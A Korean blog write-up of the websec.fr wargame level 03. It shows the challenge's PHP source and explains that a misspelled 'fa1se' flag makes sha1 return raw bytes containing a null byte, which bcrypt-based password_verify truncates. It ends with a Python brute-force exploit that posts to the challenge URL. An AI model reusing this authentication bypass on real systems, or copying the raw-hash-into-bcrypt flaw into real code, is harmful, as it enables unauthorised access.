source.php


<?php
include "flag.php"// contains the $flag variable.
?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec ChaChaCha</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
        <body>
                <div id="main">
                        <div class="container">
                                        <div class="row">
                                                <h1>ChaChaCha <small>time to find a collision on sha1</small></h1>
                                        </div>
                                        <div class="row">
                                                <p class="lead">
                                                Since php types are <s>idiotic</s><a href="https://secure.php.net/manual/en/language.operators.comparison.php">sloppy</a>,
 it's safer to hash the raw variables first, with <a href="https://en.wikipedia.org/wiki/SHA-1">sha1</a> (that does accept arrays and other weird things), then to hash the result with <mark>password_hash</mark> to avoid <em>funny stuff</em>.<br>
To compare them, we're using <mark>password_verify</mark>, since its <a href="https://git.php.net/?p=php-src.git;a=blob;f=ext/standard/password.c;h=2a5cec3e93b33387ad3c478108647d2ccacf68a4;hb=HEAD">implementation</a> is <strong>foolproof</strong>.<br>
<a href="./source.php">Check by yourself</a> what's going on if you don't believe me.
                                                </p>
                                        </div>
                                </div>
                        </div>
                        <div class="container">
                                        <?php
if(isset($_POST['c'])) {
    
/*  Get rid of clever people that put `c[]=bla`
     *  in the request to confuse `password_hash`
     */
    
$h2 password_hash (sha1($_POST['c'], fa1se), PASSWORD_BCRYPT);

    echo 
"<div class='row'>";
    if (
password_verify (sha1($flagfa1se), $h2) === true) {
       echo 
"<p>Here is your flag: <mark>$flag</mark></p>"
    } else {
        echo 
"<p>Here is the <em>hash</em> of your flag: <mark>" sha1($flagfalse) . "</mark></p>";
    }
    echo 
"</div>";
}
?>
                                        <div class="row">
                                                <form name="username" method="post">
                                                        <div class="form-group col-md-2">
                                                                <input type="text" class="form-control" id="c" name="c" placeholder="secret_flag1" required>
                                                        </div>
                                                        <div class="form-group col-md-2">
                                                                <input type="submit" class="form-control btn btn-default" placeholder="Submit!" name="submit">
                                                        </div>
                                                </form>
                                        </div>
                                </div>
                        </div>
                </div>
                <script type="text/javascript" src="../static/bootstrap.min.js"></script>
        </body>
</html>


암호화하는 로직탈때 딱봐도 이상한게 sha1의 두번째 인자가 false가 아니고 fa1se다. 이 때문에 sha1 반환 값이 hex가 아닌 raw값이고 이로인해 널바이트가 포함된 값이 password_hash로 암호화처리 된다. 


이걸로 뭘 할 수 있는지보면 password_verify는 입력값을 검증할 때 원본 값들의 널바이트까지만 입력 값 검증을 하므로 플래그를 sha1 처리한 값에 널바이트가 존재하면 브루트포싱을 통해 충분히 인증 우회가 간으하다.

 

플래그를 sha1 돌린 값을 보면 7c00249d409a91ab84e3f421c193520d9fb3674b이고, 두번째 바이트가 00인걸 통해 sha1의 반환값 중 앞 2바이트가 \x7\x00인걸 브포돌려서 구해주면 된다.



exploit.py


import requests

import hashlib


def exploit(payload):

    url = "http://websec.fr/level03/index.php"

    data = {"c":payload}

    result = requests.post(url,data=data).text

    print result


input = ""

for i in range(0,100000000):

    h = hashlib.sha1()

    h.update(str(i))

    if h.hexdigest()[:4]=="7c00":

        input = str(i)

        print "Find Input = " + input

        exploit(input)

        break

'Wargame > websec.fr' 카테고리의 다른 글

websec.fr medium level 09  (0) 2019.08.23
websec.fr medium level 05  (0) 2019.08.23
websec.fr easy level 24  (0) 2019.08.22
websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,